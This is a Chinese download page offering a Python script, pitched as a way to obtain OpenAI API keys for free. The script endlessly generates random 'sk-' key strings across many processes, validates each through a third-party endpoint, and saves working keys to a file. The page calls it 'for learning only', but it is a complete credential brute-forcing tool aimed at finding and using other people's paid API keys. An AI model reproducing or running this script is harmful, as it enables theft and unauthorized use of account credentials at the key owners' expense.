免费批量获取Openai·key密钥,不花一分钱

前言 注:前往Github下载可以获取最新源代码,记得点个Star? Openai官方文档指出 根据SHA-256散列函数生成随机字符串,本项目批量扫描Openai-Key并验证是否正确 使用声明 ? 本项目仅限 学习交流 切勿商用 请在【二十...
¥0
    • 普通用户购买价格:免费
    • SVIP用户购买价格:免费
    • XSVIP用户购买价格:免费推荐
花呗分期
严格测试
终身使用
技术支持


资源分类
最近更新
2023/03/29
发布时间
2023/3/29
版权作者
夏柔
累计下载
79
资源热度
616°
资源简介

注:前往Github下载可以获取最新源代码,记得点个Star?

Openai官方文档指出 根据SHA-256散列函数生成随机字符串,本项目批量扫描Openai-Key并验证是否正确

免费批量获取Openai·key密钥,不花一分钱插图

? 本项目仅限 学习交流 切勿商用 请在【二十四小时内(删除)】本源代码+通过本源代码生成结果的txt文本及文件,不得保留,违者自负

1.Python3.9 2. 安装依赖 3. python main.py

  • 03/28 v1.0 项目上线

来自夏柔API独家赞助提供无限制调用接口:https://api.aa1.cn/doc/chatgpted.html

接口地址:https://v1.apigpt.cn/key

返回格式:JSON

请求方式:GET

请求参数:https://v1.apigpt.cn/key/?key=

ChatGPT接口专题

传送门:https://api.aa1.cn/special/chatgpt

汇聚海量ChatGPT免费接口,提供免费ChatGPT密钥~不定时更新~

源代码

# 本项目仅限 学习交流 切勿商用 请在【二十四小时内(删除)】本源代码+通过本源代码生成结果的txt文本及文件,不得保留,违者自负

import hashlib
import multiprocessing
import time
import requests
import string
import random


def generate_key():
    # Openai官方文档指出 根据SHA-256散列函数生成随机字符串
    key_sk_star = "sk-"
    key_random_sk = ''.join(random.choices(string.ascii_letters + string.digits, k=48)) # 48为长度,官方的密钥长度
    key_sk_end = key_random_sk

    return key_sk_star + key_sk_end


def validate_key(key):
    #根据 夏柔API 验证key正确性 切勿乱改 报错不管
    url = f"https://v1.apigpt.cn/key/?key={key}"
    headers = {"Content-Type": "application/json"}

    response = requests.get(url, headers=headers)

    if response.status_code != 200:
        return None

    data = response.json()
    return data.get("total_granted", None)


def write_strings_to_file(filename, num_strings):
    # 写入文件操作
    with open(filename, "a") as f:
        for i in range(num_strings):
            key = generate_key()
            total_granted = validate_key(key)

            if total_granted is None:
                # 写入错误密钥
                with open("error-key.txt", "a") as f_error:
                    f_error.write(key + "\n")
            else:
                # 写入正确密钥
                with open("ok-key.txt", "a") as f_ok:
                    f_ok.write(key + "\n")
            # 写入日志
            with open("log.txt", "a") as f_log:
                f_log.write(f"Key: {key}, 检测结果: {total_granted}\n")

            # 一般设置2 想快一点就0
            time.sleep(0)


if __name__ == '__main__':
    # 1000/写一次
    filename = 'all.txt'
    num_strings = 1000

    # 循环执行生成和写入
    while True:
        # 创建多进程池,指定进程数量为CPU核心数的两倍
        pool = multiprocessing.Pool(multiprocessing.cpu_count() * 2)

        # 在进程池中并行执行生成和写入
        for i in range(multiprocessing.cpu_count() * 2):
            pool.apply_async(write_strings_to_file, args=(filename, num_strings))

        # 关闭进程池
        pool.close()
        pool.join()

 

常见问题
实例代码是否可以商用?
全站资源仅做学习交流,严禁商用,并且不能应用到违法用途,包括任何学习资料、学习成果,学有所成切记不要做犯法的事,我会积极配合公安部门协助调查,不留情面。
提示下载完但解压或打开不了?
最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。 若排除这种情况,可在对应资源底部留言,或联络我们。
找不到素材资源介绍文章里的示例图片?
对于会员专享、整站源码、程序插件、网站模板、网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
学不明白怎么办?
只要你认真学,就没有学不明白的东西!
你们会不会跑路?
我死了也就跑了~